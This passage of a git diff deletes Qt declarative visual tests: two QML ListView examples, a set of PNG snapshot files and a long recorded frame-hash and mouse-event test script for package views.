"1171be123a361d72859c25434573482c" - } - Frame { - msec: 9360 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9376 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9392 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9408 - hash: "1171be123a361d72859c25434573482c" - } -} diff --git a/tests/auto/declarative/visual/ListView/itemlist.qml b/tests/auto/declarative/visual/ListView/itemlist.qml deleted file mode 100644 index 8cbbdb0..0000000 --- a/tests/auto/declarative/visual/ListView/itemlist.qml +++ /dev/null @@ -1,40 +0,0 @@ -// This example demonstrates placing items in a view using -// a VisualItemModel - -import Qt 4.6 - -Rectangle { - color: "lightgray" - width: 240 - height: 320 - - VisualItemModel { - id: itemModel - objectName: "itemModel" - Rectangle { - objectName: "item1" - height: view.height; width: view.width; color: "#FFFEF0" - } - Rectangle { - objectName: "item2" - height: view.height; width: view.width; color: "#F0FFF7" - } - Rectangle { - objectName: "item3" - height: view.height; width: view.width; color: "#F4F0FF" - } - } - - ListView { - id: view - objectName: "view" - anchors.fill: parent - anchors.bottomMargin: 30 - model: itemModel - preferredHighlightBegin: 0 - preferredHighlightEnd: 0 - highlightRangeMode: "StrictlyEnforceRange" - orientation: ListView.Horizontal - flickDeceleration: 2000 - } -} diff --git a/tests/auto/declarative/visual/ListView/listview.qml b/tests/auto/declarative/visual/ListView/listview.qml deleted file mode 100644 index fb9eecd..0000000 --- a/tests/auto/declarative/visual/ListView/listview.qml +++ /dev/null @@ -1,81 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: 600; height: 300; color: "white" - - ListModel { - id: myModel - ListElement { - itemColor: "red" - } - ListElement { - itemColor: "green" - } - ListElement { - itemColor: "blue" - } - ListElement { - itemColor: "orange" - } - ListElement { - itemColor: "brown" - } - ListElement { - itemColor: "yellow" - } - ListElement { - itemColor: "purple" - } - ListElement { - itemColor: "darkred" - } - ListElement { - itemColor: "darkblue" - } - } - - Component { - id: myDelegate - Item { - width: 200; height: 50 - Rectangle { - x: 5; y : 5 - width: 190; height: 40 - opacity: 0.5 - color: itemColor - } - } - } - - Component { - id: myHighlight - Rectangle { color: "black" } - } - - ListView { - id: list1 - width: 200; height: parent.height - model: myModel; delegate: myDelegate - highlight: myHighlight; currentIndex: list3.currentIndex - focus: true - } - ListView { - id: list2 - x: 200; width: 200; height: parent.height - model: myModel; delegate: myDelegate; highlight: myHighlight - preferredHighlightBegin: 80 - preferredHighlightEnd: 220 - highlightRangeMode: "ApplyRange" - currentIndex: list1.currentIndex - } - ListView { - id: list3 - x: 400; width: 200; height: parent.height - model: myModel; delegate: myDelegate; highlight: myHighlight - currentIndex: list1.currentIndex - preferredHighlightBegin: 125 - preferredHighlightEnd: 125 - highlightRangeMode: "StrictlyEnforceRange" - flickDeceleration: 1000 - } -} diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.0.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.0.png deleted file mode 100644 index c59b816..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.1.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.1.png deleted file mode 100644 index d4dbc70..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.10.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.10.png deleted file mode 100644 index ed9d345..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.10.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.11.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.11.png deleted file mode 100644 index ed9d345..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.11.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.12.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.12.png deleted file mode 100644 index 45ee400..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.12.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.13.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.13.png deleted file mode 100644 index c73e158..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.13.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.14.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.14.png deleted file mode 100644 index e2fff6d..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.14.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.15.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.15.png deleted file mode 100644 index d7a13df..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.15.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.16.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.16.png deleted file mode 100644 index beb3094..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.16.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.17.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.17.png deleted file mode 100644 index beb3094..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.17.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.18.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.18.png deleted file mode 100644 index beb3094..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.18.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.19.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.19.png deleted file mode 100644 index d3a2650..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.19.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.2.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.2.png deleted file mode 100644 index a09dd28..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.20.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.20.png deleted file mode 100644 index 600462a..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.20.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.21.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.21.png deleted file mode 100644 index 6defca0..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.21.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.22.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.22.png deleted file mode 100644 index 91967e1..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.22.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.3.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.3.png deleted file mode 100644 index d099a79..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.4.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.4.png deleted file mode 100644 index 385efc8..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.5.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.5.png deleted file mode 100644 index 25a7c3c..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.6.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.6.png deleted file mode 100644 index 25a7c3c..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.7.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.7.png deleted file mode 100644 index 7a24f51..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.7.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.8.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.8.png deleted file mode 100644 index 7a24f51..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.8.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.9.png b/tests/auto/declarative/visual/Package_Views/data/packageviews.9.png deleted file mode 100644 index 45ee400..0000000 Binary files a/tests/auto/declarative/visual/Package_Views/data/packageviews.9.png and /dev/null differ diff --git a/tests/auto/declarative/visual/Package_Views/data/packageviews.qml b/tests/auto/declarative/visual/Package_Views/data/packageviews.qml deleted file mode 100644 index d062667..0000000 --- a/tests/auto/declarative/visual/Package_Views/data/packageviews.qml +++ /dev/null @@ -1,3751 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 32 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 48 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 64 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 80 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 96 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 112 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 128 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 144 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 160 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 176 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 192 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 208 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 224 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 240 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 256 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 272 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 288 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 304 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 320 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 336 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 352 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 368 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 384 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 400 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 416 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 432 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 448 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 464 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 480 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 496 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 512 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 528 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 544 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 560 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 576 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 592 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 608 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 624 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 640 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 656 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 672 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 688 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 704 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 720 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 736 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 752 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 768 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 784 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 800 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 816 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 832 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 848 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 864 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 880 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 896 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 912 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 928 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 944 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 960 - image: "packageviews.0.png" - } - Frame { - msec: 976 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 992 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1008 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1024 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1040 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1056 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1072 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1088 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1104 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1120 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1136 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1152 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1168 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1184 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1200 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1216 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1232 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1248 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1264 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1280 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1296 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1312 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1328 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1344 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1360 - hash: "a327426c93b523526f993b5271ab4501" - } - Frame { - msec: 1376 - hash: "a327426c93b523526f993b5271ab4501" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 57; y: 164 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1392 - hash: "a327426c93b523526f993b5271ab4501" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 57; y: 162 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1408 - hash: "a327426c93b523526f993b5271ab4501" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 57; y: 159 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 57; y: 156 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1424 - hash: "a327426c93b523526f993b5271ab4501" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 56; y: 152 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 56; y: 147 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1440 - hash: "87b7cacfb2d9e8ad916e331b2cf1f13e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 55; y: 141 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 54; y: 133 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1456 - hash: "34290c1435c1a96d08152479d2d1334e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 54; y: 126 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 54; y: 126 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1472 - hash: "ef5fb09ec8fb4b0d97c864618d6f6231" - } - Frame { - msec: 1488 - hash: "d5b4c2e1d4b0bc877c99739a67b4a4fb" - } - Frame { - msec: 1504 - hash: "a3623a3f253590d51ee03b6849e88edb" - } - Frame { - msec: 1520 - hash: "4c1115f1041629b7c37cf4ae001fd7d3" - } - Frame { - msec: 1536 - hash: "845bb3d1f52bee4a469fb12d6875a323" - } - Frame { - msec: 1552 - hash: "eb08b5a671149005dbafc8507bb78b18" - } - Frame { - msec: 1568 - hash: "16744a5b90b29954faf0710010ac6369" - } - Frame { - msec: 1584 - hash: "322bbe367fbbf0bf07f9153da652a5fc" - } - Frame { - msec: 1600 - hash: "257769f7c3e24bb2d0cd674dfbe42913" - } - Frame { - msec: 1616 - hash: "8e299cbcaeae4d53d0fc05e03d36e0d9" - } - Frame { - msec: 1632 - hash: "f3fb7f30336045abb4557247aab5bde1" - } - Frame { - msec: 1648 - hash: "468400fb4e9bfa454ea00f19aa5d77b5" - } - Frame { - msec: 1664 - hash: "429cc820ada7a515b2cb71f133320949" - } - Frame { - msec: 1680 - hash: "721ec7594d8f815e5648eb8d570d1179" - } - Frame { - msec: 1696 - hash: "9bc4105a0456c36738c435323e690db1" - } - Frame { - msec: 1712 - hash: "e54a84718dbdc45dd814089051772585" - } - Frame { - msec: 1728 - hash: "2c969450ede6b6ea7e0e68ee54d02aaa" - } - Frame { - msec: 1744 - hash: "c2015dd1d4bd223a7fe1df03027af2f3" - } - Frame { - msec: 1760 - hash: "74108fedfb0967adea181893834bcd9b" - } - Frame { - msec: 1776 - hash: "b04a22f1cfde6ede57117992cd97dc1c" - } - Frame { - msec: 1792 - hash: "271d71cb03dd38100812466a973b79ef" - } - Frame { - msec: 1808 - hash: "130709eecd8eca395085020a83e7553a" - } - Frame { - msec: 1824 - hash: "a0e5e187ed5245fd766803d266195e6b" - } - Frame { - msec: 1840 - hash: "d29c145f3ba39a7c2c6ac54b27f9cea1" - } - Frame { - msec: 1856 - hash: "6e41349b4adb6e37a2f9f2482c0aa5b1" - } - Frame { - msec: 1872 - hash: "c02c52d3c87c6befb65f3bf392981cd5" - } - Frame { - msec: 1888 - hash: "ec48d113c8468bd1e1b465e248eecaee" - } - Frame { - msec: 1904 - hash: "a2c9b917d1f0cff0e088d3b624d9eeb8" - } - Frame { - msec: 1920 - image: "packageviews.1.png" - } - Frame { - msec: 1936 - hash: "c4d4f8a351316b4a33f42f5fb030f304" - } - Frame { - msec: 1952 - hash: "1baee6be1da687309d84a992e430c915" - } - Frame { - msec: 1968 - hash: "4245f02817f7a674c34c581cbd9e1181" - } - Frame { - msec: 1984 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2000 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2016 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2032 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2048 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2064 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2080 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2096 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2112 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2128 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2144 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2160 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2176 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2192 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2208 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2224 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2240 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2256 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2272 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2288 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 70; y: 89 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2304 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2320 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2336 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2352 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 70; y: 89 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2368 - hash: "2fa6bb20f29467713c94886c6fffe5e3" - } - Frame { - msec: 2384 - hash: "3b9a75225adddb01e92286463e15bf98" - } - Frame { - msec: 2400 - hash: "32f99602756898b4ec607d4124b5120f" - } - Frame { - msec: 2416 - hash: "60007f14752d2d87ba6e335ad596f1ad" - } - Frame { - msec: 2432 - hash: "dcfad2407f53f83964fa7be762a137bd" - } - Frame { - msec: 2448 - hash: "fcc1a30a33bec046868734014132eb70" - } - Frame { - msec: 2464 - hash: "f60592829a2765b3cd3a0cecb9c45426" - } - Frame { - msec: 2480 - hash: "a0e26063acd1b53b5eeeb31187f38336" - } - Frame { - msec: 2496 - hash: "d7f3e776038bd479db292bcba3a65fc7" - } - Frame { - msec: 2512 - hash: "4af31954235ab8a7cf8462eaa64d7dda" - } - Frame { - msec: 2528 - hash: "aff3f287c07f546e0d3e9e68731d82fe" - } - Frame { - msec: 2544 - hash: "75fbc4e26466e8a1f66503addfcbb525" - } - Frame { - msec: 2560 - hash: "cb4c91f725ec46dd066475efc2bc2d65" - } - Frame { - msec: 2576 - hash: "106434203ccc2fd8246c56520095a473" - } - Frame { - msec: 2592 - hash: "129ced0e7fc406e81b1ced72397adc5c" - } - Frame { - msec: 2608 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2624 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2640 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2656 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2672 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2688 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2704 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2720 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2736 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2752 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2768 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2784 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2800 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2816 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2832 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2848 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2864 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2880 - image: "packageviews.2.png" - } - Frame { - msec: 2896 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2912 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2928 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2944 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2960 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2976 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 2992 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3008 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3024 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3040 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3056 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3072 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3088 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3104 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3120 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3136 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3152 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3168 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3184 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3200 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3216 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3232 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3248 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3264 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3280 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3296 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3312 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3328 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3344 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3360 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3376 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3392 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 49; y: 162 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3408 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Frame { - msec: 3424 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 49; y: 161 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3440 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 49; y: 159 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 48; y: 157 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3456 - hash: "49903693b112d5f35c4e877bef6bbdb0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 48; y: 153 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 48; y: 149 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3472 - hash: "1c84452b0ce90ae6f136f5bcce408220" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 50; y: 144 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 50; y: 138 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 50; y: 138 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3488 - hash: "4c77d402b995297dadb5e671f071605f" - } - Frame { - msec: 3504 - hash: "babd28626a81bd48b39b56f8da69c360" - } - Frame { - msec: 3520 - hash: "71654a76f9b94fafaf3767003598fb96" - } - Frame { - msec: 3536 - hash: "87ad69a660e072e71f940db93be3a949" - } - Frame { - msec: 3552 - hash: "147f7f3f1913bc5ac5889c1a4daa8026" - } - Frame { - msec: 3568 - hash: "9c26b3ad7a5dacd56028afa7bf4deef6" - } - Frame { - msec: 3584 - hash: "18611ff90e5af36c9b6396c3df4cd646" - } - Frame { - msec: 3600 - hash: "84701fd73ed8e1951bd4c806b70654ac" - } - Frame { - msec: 3616 - hash: "42b40f1683beb23f4fe5ade066c0626f" - } - Frame { - msec: 3632 - hash: "8c6aeefaa6f36cdffcf7bdb1597c6fbe" - } - Frame { - msec: 3648 - hash: "731cea2e0d8fb8aac6ae919b23b89b87" - } - Frame { - msec: 3664 - hash: "d4dc70a8e09e7ec03e7c1f5123b7abef" - } - Frame { - msec: 3680 - 